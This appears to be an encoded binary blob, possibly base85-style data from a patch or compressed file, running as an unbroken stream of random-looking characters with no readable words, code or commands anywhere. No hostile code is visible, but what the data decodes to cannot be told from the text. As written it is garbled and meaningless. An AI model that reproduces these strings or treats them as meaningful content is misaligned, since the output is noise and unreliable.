zlof?>b3*RZ!g#o%kcQ*6q4TYgd*dlPqe<%n2>^NnNZ+ZD;sN4XU;NHU^6qHLbWO-` zncrG({J~i228mi>{j|cnQ2~QQ9Ug!lwcZ`HF;#JaIsN6VU_f`aX2zRhp2au^*l5{H zJ~eyH>A=iO;1G=!R!o=HN|V(I5l{)_g6LjhP^Dwi- z34s8U?~kVpmie2C@pE3j$90oV`YuC7xYOQf3SiwGPTmW$5W{@_5QO>0S8mLdoyKV-U5H!Uz<1r0qX*or%k@lt_Mel1UmQ3~_mcXF18Wg9saitAa?bBf-l*X0wI zdiY3;hEbG;L4<}u>@K4`Bb(4o+I#;=qbn2SY+2z$7<|@nsH5s+qXB6vOH}64))z5D zncKY_AGmNl`fyynkacch9wV=wE^FYeY3d*jCrG*(&}(=}1|%Anr05s8@H)pD7o=NN zr@%@Rwe!Ov3F@5kL~VGftf?CVuQVNl#uG8wyWBGOxMc5vBe&!oPKnzbVz-{~UV8B4 zPc$rlc);QYi*lk8h8fNKxk7Q}tqxQKGJxE6xlF;X-b%a6n<5;L88!)<#o(0uKu)}d~# zG1$IXJSonl)ki4`uN<1BlHf>AXpQ!>La3Q951E3vS1U%LDB`a{uM^kTOe#BVc* z-C~fq!z4k&EOYO%DkG1?T~;;CcysGmV_h@dpdwd{FNJ*aVXrTi{}R^Y<6~PLO*1hm zS9vI2Hq;*y=cE`A3@eUD4M*ap%w-97s-dwyQ?Wi{F}_2ISdy1oBoSVaYVthzDM6i9 z!cW(_L>}(-NK~4ZLFgJC`(JJeU#Ay8HL%oO7GP!x8YVz2euq))CcW_eC+da>SX71# z+*MgX;`kV>o_=dOH!HZ%tJkmaa?+6s(kc%m0%Q_GU0SSFLZT5J;e?4`t45fxePrlF z6mc;!WF|6bJPtQ#C}K}^C{MR(^pXn<6vN>}9DS7G*^)-~_jzR)9t&J%V*33x;cE)Q_c=0}Hz7smY()&y^S4OA;iK@}|@n;5)+G|qK} z#m0mzM1(F{JVo>U!~td0)L~F|dWwj5tVKW*?Vcjzk)84OwQv@ws|+^7s?43o+Kp8b zLocktDM>KEBGsJueq_G))g{5Jk6Hdi!}{l&Lf0NX{^l0b@2~Rzcvq43iSSJZ+HYtK zgj@w4ilTf1Id8F)W)%E4vjX*-+uM<5umL+5R#Yd@rX@Cf*I`pVU*R`?1R z1n`B z^{fyuYbxu7))VKmE6_gJN5aa<6zXfbNjVX5li?w+y)3JI2@`PrWJx+{tD8@BFVhSD z`3BdYu36sVmipl?>-P*uwWuf*$x|aPR3pV-Bq&8Y+nhx?TT;)OL&6r7i1o}w>!ESl z9#B3lTWL66AMFCM0|vhR)i(-sBHB+B>HqyQ{eN6#{9l*(X+*4)!yesyEXgTsr(<^J zP*mbCOy_2;&d-a4K*HpdJTxMsf)@!s!*G+du-FZA%}_^LZVa1)<$R!?I_%1{|8|+>k2mPPyZ)3x8NzCE?O*@m?STA3!e6SNkM;2A zDAm`i(+wJ{se`k8K@3~M;(8Dstx*Y^Fh#dSUEN$5Y{1iXG!Rt{bmK7^ znjh%c=mcqJvX4+JBgsx(nCBXCvL)bK(wP4;@dpt`tS2s%Zv^NNLlH`#ZLIT9u(~ zisLP3+0`Q!sno%c$Av6hjj=F5rfh}VKm$@TJ9)- zu7LmF5Bw^=Eel|NfkPKLQ`moR4+5uRqaLqY0^RFN+L_ zTK6Q*8k^-1lHY{n?>oAcB%<&gFUnWmygfYJUhgZbaJGt4RW{(WBw|M0jB>m^8soet zh*}wNTH#7{Z3_VjM~^rRAqTJmLHgvQoTE{OIHY$D(ytKdk%-cAN2|M{)ZI`TZl2mm z8)>-UmB(5FN?dn%rSHmfTz}Zp*>rreJ3BQI;}e#boPGYg(C1jsW=VNgR*8*9E?g5~ zkVlAKM)>twx>N<_?*Z)q@HJnj8nFJURLNBJv!pN5?18?ud4@ zL4cx$qghR0*0QbZb64Nqkiw&ol4F!dwY5u;wQUmG85ikA2(xuje=KWdl0x*G^0s+M5NE+)qVf~6x?^v_JG)Df7eO7+3zXw>!)JJfiNuOf{&6nRS`)Wf-1QRE5 zSU}_gF>l+#w#Ya2ZD7G+c>anxJQka=7?8Y;2^_Nbe2(^PHdhTHgpY=X&AP)2(C(EH zu}j{F79BRl7ba%zVhWb_!C1c{>Wuvx#9X8opgiUF$wxaxU@QXM{qsFM5@4?7ywK_KLS_hpR(y2JZ)|e z6PmI_40(kzO!8Auer{u;rwGORg9)6ABIE%uGvZW&Rc0`<0ueWos`;@}wW7+!!Y@A7Fow1@VZ2o(|oV@^(v$S1!ZoIlM< zq3rGL`7b9OM0=oE5T1jr_9hfQO(&*UKhSvFe zN1YrWUX*op`E8JcTP_Y?8;Z1(mR4X=;JYu0cB%&kCKPT%oicpOcJReV=d(_5!4s=-fjQ!Q8usCJp325Z0adIFG@Ktk5SK9&P+4aak2f?4 z$;x-gXwFE?r0(i3XxEeD~_8J&j2XPFqd!;P`P zaxTauEhQUiZZ+}8@`hTjXul$=EzjmN)y&j9+Be_I1|tccN7|;D`4jPSdL;Mw(Xgy4 z-N35An1P(iy0D_uz@YH(2xC{=*zl(w)qHLapSk+NtJk?v$ql)A-sYArT9BCvVu-1l zJQIs7oh(!-(99%VhTYOHbl#QFZfcVnn7-{DHD_aA=$p1dj9o?uc=&Nk1@kLB{{D`@ z4G!+BPh^?xBhO8OK1 z=Mu~sjc62NMId-iahSBRy#_*_Nm7p4T$agLnN`M73xPGp`(V=4q)fQ3vsfFu`-c_# z2ISz7M3hqi);*jUU1kGEsf(AOJ(oR78cn4P?B&dp-2GpcH7)eC)*HulCgc@GC3Q76 z9v)KfvY$@pW(8_a$mG$!!C+Us*nKvnp=DVNajv~!r6ap0!o84SQ{ihLZl>j_D(5Vv zsL#bON6(=_C#QIW-;!IXQp?1gN5aM~6pzpG@-HyeLs-GEUV%keOd1lKj`lC&y2BG5 zm+#_;5u)W*5mbh2SvbI5O*P>2V`1gVXRTumb+3z? zo*4v=Ha7>^yZhTYPYe$HBUsOFw1eFwx^J&A{_!UJ*AK*QayrP_m}}S(Tri2gp3OPY zuj?~bS~J!gl2)oBRw{@K#lgMFsDX5^=V87CMRgN-9ehMpKy0mxOO(5Luq)i(1D)&_ zQyY@pY-;GPBC0vEPZ`)GS9DLdz1kSwJ{;XY?wH>%u3IHW=SZ?Enn6?id*)QkY!FIT z0+*Q`mGrYQ!Slmib*3=`#bt+^8^a~-`B8C4N7U65cs<(N*4@?I{&xZS+;#=H$45uW zp)nkn>0ydCHcE~d9Z#G`iiwFQ`}aHq@4Nu7XCXd`Q97_SR3Z50=0#3%h*C(OeJ(Cs@qTY7iRJsE9?UIH)i&y-sA>F zPmhfP){goXo@r5Ig9t%1#MN@jYMUlzS|(q{rsOFLD5yzj zWLGqf>{1bX-vV6fv2TUazfS3xJE`tHXdFGN=-lGHsh}wbbB70DoMJ4YSeC!uE(}UJ zSX|v(nl3X5nrNz|Y;AWH)R$*ugZ-X86mDy51BVzAoX{6${kb9D20{M~jk8O%k57T{ zeL-z0pPn}q(gvk}gVOeTC##+W%tN)%8fAEwGI>lH+M*`h7W&pGq*dy~Zki%Xv6(6GD*FeOT3Ptges?`CFuaJE zG}k&q-hDfgT2|`pw|lU+HM1Gx;XO7mD9b8TTveYKon$DZda!r!bFa@IhtFD^Iqv@6 zKElwF=ME=6AYb6VfSz0^ut(2ZGGNNA>HPM)AL5ECW+;@I14>C-zauV~^!BiKncTZV zwOKE)+?fC@kO70VLT;Vi)G)CwZ0nynrp%pCyrUBtSUK9~wn!^f8#hl;q&aQn1XNJC z^e5LDL$N-fGab)sn-i<{mv=W8UzRxg&dkm4?NGW3>#=6mQcObqlP}9ls%01j7GKR@ zl=XePgWUrYIW-kYLt*--+R`E2OH>;Gn(n1-VJU_0f4ZUtHzP#GatjJyzePiOyHBM& zmA-elqMsK;EqfBELGt*Ldo$kM@6FKK>JfQzbg;d?5o8V*kDOF=l?A0=?HqJ=k;G}a#s+^`U3`(h zz9*$njt-AveZrW)%eAlXX-S54yr%T5k-L{E{cDu2#T^%)AUYPdn|B{R;^I#%s~y~= z#+~=9q-6>KCH>6W^M*XIN@<;4HFb7>!1(CaJvt5n(S&C;U`m5iz;SDbC{nBrk1pM3 z`SxB(dj9)fv{pTT5mU0hO_@JBs;_!Jv$ArqO=(Uq55oF@w|Wy3(;{~{T51~3#s(ZO z#Jc)+)j`jU?p@p`ZL4tuM6CK z|K)qYs>Fp43pq&3J;{4cDes`vj8K}VL6iYug&M7ZVSrt!vPG4l zZOY&VRe*E9D?j}SB2o8SYB=iwv1x`yT@ES1%gn5QdBFZx0lsV65{xbo{xE&H0=Q12v(+%pW7eOr6c)Y~9k-p3 zvYV21ke+*(S#Xq5c$i*rn2~>&mUEb#v7eB<6CJx161wW=y?}Lp>0mwp)2h{#&Q{_H z5~H)@xuW*uTi(Zic_4C))kHus(AYufHtP_n|BQ9%_3Iq}goTN>Z^`7o{*nHXiH#G= zeAi5ZPsq~ZvZ{d8Z(^lhV|r|g_ZmZ#m0P%}Ly(bOppiXV#n4t%QInZR>K2pGk954> zG4Oo%MDVAlg4blYew5?BqQZ4mljpiF?{$6N8wNsmO$6^4abMTxxvs~3O^5r6I`?G= z_fN8d*QEJ>6yo|T8_#$2!aveU-Dc8$#Ah!7!KxVr8rug#Z6hsQd=0Eb?{RK#ZJ)6M zgXKmhWV(ir4ZH$It*>re-ap*mBu6`XRTNk1NUCPWCWD&4!LF?}jXc*L#@e`h$ZKO& z4T4M@^f<)bA%-tvVxLDv7y1TdqVXvRjGv*otD;7*iKUkg6s@7>uA=3ps)5ngRb%1O z;}F1V>$*bJK_NKhrE45uY~duQ76P+PMqn~AUWI;vHLRi}q7Ft` zKh)HL=Q6|W)JrPs>2u<#k&ztF=$D;yi*Hxk8#+jXEGHrD!mQLw zP}*vn*nXr*a6tL$z`Zq%-Ier=L?Lid$cvPSp~l?47g_x;viqKASxU-lJ`&6e_8qA! z=&#J`ugdB#&%x`$q;5QxzR4D0>oi!M+gF`Ms>~XxFN{OFLFl;MwX}yD^80~?nyitg zy!;R!*i(pskOD^C*i+3Q$jB<#)PeoG2d`hgdPi`&l*6u+6P9HB{WV28UMmr0tQs^Pfr)bQEcPLe z)D(@k6%Nam&W<`zsTsSNFHj)3U{&NyG-w_W@I6)&VQLMD-b(S zm)TXG++UNK73_)BfySYo2J5px^WlcviT2|D^88#}NTdrk))DEhq-!puBz2eL{=ff_ zMogdrfQ{FwX{Sd6`||Qw&I!!_jtL#xi9yS3(7BRE2kCahAl}aBY= z+4W+)y%NamKy5~_AMcM0iGC4iV>`hc%vI@eGo+faw#u>g%8AbB-L)k{t+?uS(6I4*`v5{GXf3M7`7N#Z1MY=abKo9-u(vUiZ zKe5>wcZ|%WXST3?doR$? zA;lgqefx>x18x%@86`R{O*R1~CT=-8PI-DB2&=FvyO<`Aj0T^a7Qei%pdxrZr!A=X z@b_24(S9b9YRs4J=stz$2rKCbDroY_Y4FIZb4jT@5m9_3BumF7OUDUe=FwmkP9wuB z)z$UXkf_%)r=EQZ`#IJ#i;fSB3f^P2h1m|j-YPDg&PW-0dPl%Q2$E!nHRYBEtbPU- zSariJZ_KlBpDZ6_76Dn8MyyE*EsgOj3ir$1k{bH*ETM;mfpc9q!3s}@HGmM4bP<;28$dSDEUUiFlYG~|qd3iUZ7 zby;Igc}U?K09oymNB$a%O3AVk(UowYdRmy-S~C1rA{>uc0EQ*gdtLpFNhH zHk6w&oR>8o>RT>;n==gN2*w&h%V)|bkJm8rHGpLkP_^j^1C6z{Dbb|zl!5BB{>s$8 zs0H$?gc0k}g39E_{tC1%oXO4)N4C%gioWAXBEc zP7!w~GkcWTL(1zT%EZQDL)T(%&R9*;k{#3vp=X-n6IPOx`m;@`|9;Z0Yj0PT*q{0l z!drS)GL!mq(g$)f2AaASr?!s3x5^k-f`bZlx~m46@60-&Y=`j%=;f_BR4!;QJaO_c~E$CkmF**)^~4*BICRVFu&2IjV#dlrj| z$5WH~s%sZ>3SO}McrPv>yeKYVxU1(ptf%*_lFVE&M($?P>)ecy-1Oms?4jPtbuf<8 zJCwO2N?mKO45RR5U-#PLpJ<4q9q{9+o|?l0>J!i7!=v%emeQ!mY%g4CL~y8?y}PEN=soti z>8X|Z@usp;3pLkgC9}mv<7E|7Wt9`9<>Q3~qdDnA=}G-*$^CV$Z;C5gn7+S_wQ;51 zQBM)h!3rvpPfp-+TCR2;jh(AmDT8@g!#$I0V78q3%FA7VOV*auNC}KR(-)5RSLPD! zeo;T%-d-5!TNxdaP4Hcqm^eGTz5aHx?HR_v*we%$27`=nbugDx3U#!f?yB71-8!o? z*43TqMW~1jDhUf7?avR0nJEL!y-TkS zDKk5imwQxS0notdWBns#*#&pEc7UeiqXR1y9c>}$yui?GZ+w)U6G6*(ZfyMBrO1?} zi7rngV{bFF?uwM&>U1kb)d*L|l~+UW`_kXof>P8@aP`Ra!es}9%CPWw+ab=*PLGa5 z*p-swyED=U0bf??P*&PdPUc8??^jeYvUUO=Hi??BXgr6C2)J3`SCF z!=wv53qP}K1TIK|Rk*QpDI;yTV`TN!5jE(6Fuy{kbT)N7W#Uj35|?2Tc=$W8C6flv zo_Ma(;~ZSO>f3b1AiTHell%fQ@qW=xsF9AI{hgh+^Rttk&r^MIs%*k211M4-s{BZ> zJTZK{qjvqx;_lW~*NeJv8`r#`&@d0w<0~`{dgdLqEjBtZ?kjYbs(R84d^&QvAWDY# z$N1tx?aiEZl(aaRm|a*^zOE5{le6>A`ak za9;;KJv=zkRiRNnLC*`zrbZ{;KivN`DA4wCR)2)2 z0r!dO%=A7PfPx9Uc5q;>s_$lE^Wl&kAN|UI4(e;~HB!(Nc=*Uh)3`7(wXLk! zT0z4^L@^zK9jq*FNlT5lbJO9GL>j<4t1HqY;*4cA`R+5@>YL7tO?{~REDt_i1}I>$ z57q`?06^UQKkIz9=VDwHQGP?UNPvx`}ASq zS-zvb+1=bul$ML1<`LVayPl=di*(4bGyd9B4J@1?w zD15I9WZvmNp>E;c{RE%*d^zsNSu68P_!wB~TBgdMzntDX0iL={p`<5f>j=t&+52H% zem(y|e`m%g3p28u4J`#|Sh%jx`r3J*VRnzcza{#R6J_aGQB(qA{(B{V2l~GJ?=t7C z_F=1!v(8RV1J}tfYOJh%J+W~#bIR(C@v~Ahc<&+~YWi6Iy@^2YCI&~@uhQnlC;B6h z;;cLivva?+dSCCCqJMDi*I2gyjoAYVu&XyN&{SFH=0qg{m z(h8NIh^#JyJM0D1((48G>$LK0B6~ZZe-nPeYkZ{HM_A8l&rVDW-+P=}SlQCM3Rc-* zgVEMMB7FNvZ_D4j*Zhd;Un@R!;)?u|_WBlZ`T{=pYf8^s_DNQ7zr;JbsXmn-ncwZ6 z-T5NSVz_-r0f{_{aU$9mSIw1~t9$O|Ww+KztKA89%p+WuR+_77KnK2~tq(Y_%*Iu?|*)B4`Q;?aq^s0z}|?&SC) z>(YNX#5on7n-%CIwRLkpWJXyz>>eHGmA!a+kNxF1_$=c8ne+v$)J0rhdpAElt24}M zX=PnOK<2|Ye*g24zku~!)Eyrjk>wIJkXBa{lk+fhpgzU=Z8zF~+8})i>-$bE&o3d2 kZDhHH8msHx7yi%Bd^zjc(>ZXr0m1oyKHrBu{OYU!4ei=^7cXk6rJil?^;^E=^d*QxV4gXLITmn_UWw>;S{Qph(O;}G)$)_je(?jyn z_Q~Gctp^J&`wPtn^Nm3E=Nk9s&f@u|{rTqog_eVb z)`P|NeUN#%_i$zKV14{}>lILSdbCYZOHqFM>rL{htfwc3M|-RL>yvx)En8Ei8^c)} z14$cwv73F7I|C8B0})%jp{t$5wXU%B?$Gs~u(j^+^=^;`ark=I-^tmd(Dg3TS_dV5 zC!kbs>-umh3@uzWr66@jS-1bz-`ar^Jci2XE=*~dY z;b_9~Wb(mS;#z;~R71#UrQdQ_5bj^ds**|*&dAF z9f}7T)_bBidZRb`DDfspfXnX4vrY1yVQJP_T7PkC-qn~O`#)`hI~L@hRlzHT7RHINos z!ho5FihYG2JdqVJOfIS`>FmSc{GWYGRUPAcJef3I>pR=vcQBc?H(d>hTg$iE@!}LAPY{nkZO9h*2?I+BXW`5(RILMl{D* zRz_%LSh1Nq^O^^%n-|HOxibnXJ$RQI)n)a zVtJ7`c~Y8VH_@gG1I^KVZWZj(9Et6X!uLcwH+w0B;}wJBl`yU(nm9%E(|WvFec9gvT} zcvH3$zdC#j>+$iijh4Ephy+3wikA-dg+x2b`vt-ZVo*b2xJffvr`LnVx4lAC1oGVnP;m0HY4+p193#N&yuBsHDD4I0+Z?+D(c6+JVs#C;}UW-%%T zKrDKXUgS2d;KOIC`fylys+0*rkx%US_~=)ok}u2(s(SVM6<$U%Oiohik(i%UY_M~a zl~Payyp2d0545a@3EG7PkB5^M!-A&60>+|o1NuUCB>R#S>v|6ve}54iPRPMa(Ii9M z!0sWp6x~z4s|*Z(xFL9h4iNKSrxB-O61&d?OnYu%$-DHjRE#v2sUVMaq-hkKOw9|D zGk3Rke+}`)SkDJ=MNvVLvRtL9fjx^wj8nG{yvac`EYf2<(Ek-yHN`~GDb8~^)@L-D z_$o4bDbT%Ji`6j3tuE2I5h02WQj1PhO>*Ei@sNl5@~A3MvpFl-@_)xn_xo#%f4ueZ zci*sIc_8+HNtB9F_znXY(jxchR2X=8Zqli9m`c+q-Tvbh`Y-O<>zW-M9)2?J$FRnF z;;Wz<;d07o*{Ha{1*BmX0u~h+v=AD+X#O0{^Bo(MUR{e$(eXJv#-SPxjkA4@j6t@? z*j1Y_K@n2eRLf#lE-M#iaSW}X61zA-4~tZBYJAXgr0U!~Lhj$Z1@W7UV^lGLIe`pHD6)TcrWuIb_^Z^itV2WCQgw$f&7U(wP2{wnQ%U8Vo8oAm#AjrZ$E zeBaPAT)r#E4i$K$prZye*0F@ctSGFXw4b<`U4iz2-X5%sRGzN7i-aQyH$e<~?O{>w zO&B-PO%SJ%w7mUH`zkH}UvF{z<%Y!_PKj^sGk;BoR0$79^|-4=2dgFe3I!x;W|%Q4 zW{B%pv5DEB;;`;%XdN_8(+$d_VIygR*F`%+Y=MFAUb-wtBc%CEp7!6b(*DPF`afUg zr4q7K40&?*p#l)Sw3JFzs`zMiV23dI;e&Pm=}d=rADhK+p$PxiL2`fD!O^+ zqP%i2uCZth7mTJWN*#exhhw$eTveR7zF|;fmhpnRYq2U)|JzljKi#7F>gIDgMF_Le zjo*FlX^;F!!XL6y7D9PKS-31z@u7$IxB!w(tab0k?=J41}n7m7zwssZ_*6)rO z@kf=zOkL>tZ69+g+3-yu@cu89Ud1L@kD8GZPA@OY|uB|kJt zMLj@BLX%e1*P+GTvKVb$5aT{XQi(HSR!x^x!|{okn0vT;=b$~)QJz^Sd?pHtN2xfu zSp}iskti(`M$HAI;fez2YH*McxywcW$D16tnGK{+;?H!D4)(xXzjs&g|NG?o9{Bmh z#aM@W`{In%8j!kn(n!DXb$8ONp=l-|;Z0D^zJp6)917o7S+erx?cw3}dT(*5lV!NF zq8^V02{Ynikm>1GAMH6#(nvL-7A#ZMH0Kj@aErzeG65?Pq*o5gDFUUBLwaT+ee#fQ zaVQN}v?>Cn>Vi^pao0pzOPcUsd#b^wz;TaT^1dwF&BtBs4aX{A*5GVRJ*D$zqPcqt*op+Exz2z z(oRYnWl}_R>vqyf3?%eLd5_~DQ5a6K0wpCaQ5ArN@ys}9MG-PlxOB8@9MUTr>5)kp z)%GNeDjcnWbh8gdX}F=gtG0k>$Dtq#Q8X2+6pE(YY!7ePc5BTeSP$+i7{Zx zlami`A}_#tbbJ!w3U5X0`N^v}m{$3xFWVqqBD}kU@{WQEk5O(FR?hiWHt}dDT$l$T z#Ku|mskEh0BFSgc)AFUAejG7)D%^j{NzT)Q4}#_rH`H~+`V^qvv1Wi_jQl&v20ej> z;?Vl;NUuz!sV{J1w1%6vzK0AmznHwAx><>oTCzE=*#c7*6q{A_qU2zI53rt|es~l4 zAy%Mf`OUJoCZva80cqN*;*ce4;G7Z`x;#I-x;$T!ok4KL_I0)Y zvitrb>-j8KTUHURCtu~FYbA{hEjaazTeLw|2NfLpl^mnJn_(uA{v~_f$t%HWn_@u&|a@amJ)zymQX5z@R;oe}MMNMq`q( zh&We}@XEE(c2?xoR*}V{!~2Zz8BVaAU~Hd`Yr24!vK>p`nvQJvk5QW*RKg}5TgrmQcWNglaZk#&H>$i1$#c_M-D!1P62KHdF!OSMW4h~ z&;b~~J~*z%H*wQDaLPMaTw%^!(nI?{MGI zqdc6ZEf9rp;xHj^Kd|c9!ZqJL zZ2_OX>m5B9n7ZPheQ4`eiYE2=C+?sytqzviq@WcR-q|8BQ zxFB`|>9b3u$JsDGx3mYPCs2eeBq7HYov5Z{=-?cvDXz=$3<}XObxtWzMG$k(T=siz=XVQ zsAH;k@eaP=2u8RKU*>MMXO~Ce^h8AE z9|{`@UCCl zLS0t2rx<%O&0F!PlazhQ)7{pq!AQh6c325#rPIt zd<#5?Wdu@%M{p@Npw!&blb2c-X5SDzx~49xX)U5Tl3v}NUa;_@DOTEfu%g`Az+`-M zs3a#Z%*W>!CMNLcVyqw|I0cy)7)l9^O!f~Ps?I(fDcNXGs*QB9kra@nr)T{7K9mOq#(^ky*+?1CBMs zdts7QB#bz2GFchA`i2yE`(@&gB$T5c)|E(#D7H31sfre&-Iv`8>y0J!>}1U1U43VY z8y32nYYn5@W3%(a<2&l>4-YA;>@SB4vjR0Ir>7&m1Az#<$U_#SzD02)X|6SQr7fc> z)HRP_UFvN|G}Uldl5rB3(`Dz8pdEF*u5*Md`^OvA{GOU&9f7?02N@Xa;Wfm_0` z9{%}QOfnLiiuTRtxW`3|&T)3YJg4JP7ge{^vvDwWF;+L$5?6Un%`C@`cQP74ao9v>Yg1V^%6rG?2`TPrwVwA^uSiAF~5tY32xJhT1qFNi)#I9q3e zm1!8lI^D~)JUXB*A*3uh!Nc4}oRP;bFg+k3Nt{_wkw;mcQ&EOfJS;LFgANm7;>)dR zA3G!`PQ;FIf&QcOGo518rxdY$p|Z9!_*_|*KDokNic*$@GU zny5-vnyzW>?Z1Rt^R+@Td@6fJ6a z+cytUntTU(Nv0k%JO zP!k(NYZHh*!4dt*tlt;JTf=EDQ#m-|qFS>fQo}>K((#!${<+X7U@%mEA2YUzKxBBAq@Og=I$KBuChwEE# z-DAi5~!8-^5HwVTBYu-{PzJ zPi1{y?qK)8NJd3TTwjp(xu#@L=Ms73fb8KBeh;wzzppHm^|v-Q-!3hy^GZj=zW_!B zok0P8OYVJ#d)mAFjF_QYg9))z)!*ITnVWeH;SmQ)9{%SyQOSjXwPB1b#%e9Y z4-tPR=LWL@Z2(=qv%MMP>horBZT0AMVq~DTwjLx77mpm3v=#X!U+o;Ucl3x-bBqrB zu)Fvue|=9%CLbLhMR|oVfRAfmJkSsiX?;!Z-zHZNPV>=me0}M6Hfjc&D{DOsEl!3` z4U==dYwtkMS$mer0JP_OR$$%!b#ht9C<5j*Gcx+-^@1{w*p*A4$@9v!&TmlE4v;07 z?VntE$n@od!jzo%t!OTPSs7WlzD=G#I;t&yIlZ!SuuX1EDG9)Ofv@hzRDUzMa#d19CxAhqAN+_dNzH6+^TGKDV~J zf0JU=b9py_-+&=a?mmk_;ym5APEN|JLD^tnGFlvWXmwTfD~HAh_f7|PPfA;w7t{St*{m;GztO^`>V$eZy)=72+xw4O3HGGg;JDF2E&^*7@ zzeDcbAOqY1AX^j}+$IlfPy|d#l$$_6h7B^XJ;+=?{Wi0*Kfht7X5_TIlbl&fPRuy= zCv1y6Ho14{bL#)Ns>LGC@YSuxs@ikw*1ssNPp(?oC%@X+X{v9T+uYjSIxUSzFR!lI z*xXj)6-$YvoI9R3`;%D9@`{D-JPk2{YqLr4Uu9(e{1NNl_;_w;iqShO@`UKg zk3~Fc&e>+fRJTD}I#Zs@Uxdb%>zc~5FS(z7{z&Ksvk{-XzoEUrUFN}_zH`>4*RL~u zV;9EXzCAtd?HleJ9^W`2&v#76dIc>lE-Uj%{3=#T9aE!|+&AdLEnSGl_5lXA{swkv zC4C!Vd38oEi8~B}-_me@MaT8kGyd!uFp4K2=Vs+?CLoZm_F-;m_}R)FJgEL>mF34Ti}ahE~!36Gr^1gm1;Z)oQa zwFxtK_SUl$e!#xHwSCSC43-rZn}#5c_P+u~t*xkE-ap*mJdJShC@m<{5?4-(N&q>3 zgbY(_jjfCu>#&KsLi8&mqh5wbNp&t1xlsu<>CvwGj|ia1%W8&^GilG^VeFKn|m7=&qs{U|<<&Y|r}Dqt`R9-VvN_D z4oFu8Z8HG{iTi9|qmoRDr2v2zuQSt54G$+_iL--Cqy3ZFfyw1rWkYrSV^zJneA0v6 z6wd~410cQ_>$%F=@fkfSh%hsUvZ#{4O-370b-4%JoR=TUJm!G%O54b2gt%Y};}Yuf za@s12dh5#vn##LtUQBdUjes(Sv;;On_5@J*=Twgwd(C}LctFV7bE&7Oa;nf^i z;}7=s2fBLo#gtW;h33Z>n~Ix8dq?{_hi7LOTVFJJn>ox(OaRLBa4}Ypx4XHW_cnu; zv})V%bV^zi%a;%Q_3abw@RE0*$v@&W;*wIJ;ZSGcQ()kfp<$P$<$^E^Dzl2Hb4jW3 z$Y}7&YV*s3&vTmm@{j*;orv}^5?5ioa!>m?L`zUXi(gKiM@EfHT9rdW>6wuH69H)& z4rv;82qTvoGoQj^PGepf(OXRFjL(yu2q;Au*EM>^FYd}P@B@X)Y~q3sSrA4xm4#&` zDFt&wbK3_;6N6K0TYIak>q$Z3ucyyE`waF&tmhUT>mT8Nz-$Av8G5}{P&AdAIQaY? zpSb`e-WF@jDGOMA^vtoU`stpS7eudgFJw9aS(8kvN(?TF^vNfBX82+gajr=oNTnyd zZhBDgsxQmP?WC%u!!45Hg-*b`X82+Ah=k%O->RgLmkA*$c-M4q6i}6jazQEScck<_IA{DK)1WrPAXXS6liL&a3^8wRwB z0bEu+)W#;u*S$C*FfYKPJwIl=K5L{VeXKTftS)P$E_0@%&{|fxAi}>SE~q9mGREBv zqi67{t7y0`a};E#%^a>tA8p8PNDIpkBou}PWcpwNOw1ATn$EIX&%a>|(6bBDx3g9< z8ee?-mP}qJlQ+oZH9&Smp4vT~KP6W-wPLKChx>+hPEKZ~mnOz1lS$#58z9%a@F7;< z5Qeg9N+R-|lj}JdqZ!GAS*b(W>0`m(C8BrPLtqZkmPiOSk1>xdUd_N;50*hdRj0)E z*H>33M)Z^<_E#kLl_m9-CwG@7j?`ya$tWdzVaHnvfCSpwVDz8>uDdL$r#!i*EUCXT zwX-m;DkZwVp{6v7l;(lNs_7B5VCsy5x-4Qb)+oFx4Dagm`uKEempr{oK?LzT*(Wa? zldGCWkS4gQ{E}A-tL=^5d2tDc2N!y$JDaC->kM&+JiSMrJtV(AB9Ctz)^#jqWsX)gEZIUW;X1~NULl3? zN#EO)^8Xj@y7qQef%Ul$f!Nfwk`~{WnbMz`+TYNzIJtEMeyfZ@5bTwpQyo=c#n9ps zHsP1`(J~=fSY~;ll8}x)m0)UZogeLgJ3BH|m)l*MFxHsksG9JGjl7MzI_nwN6ZIjI2~OVVLe;73e&Pg=s6pE zUT38aXQd3~W(;;utb=}>+9A&!k!zZ}rRW7GdOOz^C;Hnvxo^<=7}*4y*p|nJCZUkk z$??;@o#$2UZ?BKF6a%NkKn*OU10eQ{wxQ z6Z&eJ-xQQKF?@X&YmK0+sAmWlUe3%FHgn zJ=GLfOZ1OA*GEMADsl*SR@M%+w&wYJmqi3+5WE-0$IqW`ufLsWd4bV0bT=}J#2`Zv z_GU5)!47s)9cBBwTjzO3J37-m2&G{Gg&~1s-90sVMWRo*@=`L-pL*J$@bJXkoXPa0 z{`91Q^yI$ujz0RWnpH_<+{8XcAP2YQC#{uEwR6`d+F67d3uLDvq$k201ccz$~R1!m4A0@2WUDzI|U6EobuN;bSSa~&g{v5=8^-U;w%~*t6 zng=e!FIb9+%hMKq{&Z?&48p3A5Yw5OG649}lLph12Q$-#OUhsyx_ zy57`x&14jm+ZtJO-=Q;*P#Nm^gtPE-yN2Qd#Fz!^+m}+4huVf$UmZ~qG8Z4n6f9ol#wzcjp0gd=LWt!sa0=k5IL zMElDmZ=5oVAW9F4)P*WO;V+3Jj+3T3KRX15{ z!8otcSSagA(eY@>XoFcY$T!j(7i?$hq@|!COvBB0=ZUSRVQtaN^Bz5K`TO4ehs4j@ z)yn}R&nsKk_9i=PWOUBV~Yk&UWuesn@kNOVPfba`~(RBs#B-1gb!2WFxW9Zrd-m+wV*dXKl(l|==X z#6;(Y#$<#=>x;>A-lhfT9$;MuEj>Iq?5J;cHnf7tYPuL$>kC65tRkRmt(2kRUV$(3 ziYG_L-yiP(GAPjY^Q^vbcR6n9+UBLA(&?%FQveDE@Y=zFnX;~nk@b(e?D**T$Cu~n z-qvmdId#6rPps7q^Wu_PiVLjd)Qp7WQ{dQvvVx}Mq!?QlEiQ4S9<05hG$l0JP+Fbm zA)}41@$~5A|I`M4x(raj&wIe$0CWJDH~(jz58nBC))+sMC^KJe^IS>A?DPR;hcb6U z?rQH9eaJD=H}qaHXu|vOWT9=R@6E={0RsBK*J~lkAf3`@sMW|7Nh0NiBAKU7x}%}2Q**!@z1jY72p$* zyntkD|8iaXBG^2DH^KPiJjG{1tIJ@8{lu{JdV%#OwJeL!-p+@=gnwckKU3^ySkH6M zj!y|bc$$@0*3`WUcG=(sqor?H@b0tjroa2H`7^42>h_rvm*y0<);591|2)_Hsk(o1 z&G{kYDH-qJqWoNTcz(BYY6F<|_3oaAq)MP0p3>4!n)u%<{}+RTdVkTb;Q7qh6#E^T zXi~!X^3mAl5pY>jP_zs^ALSkRM>Fkvf{P>o<-Z>EL#*d5N)C;Ca-FKZt$%KxJastQVt@~~DUyK#hInq1GL&Jo! 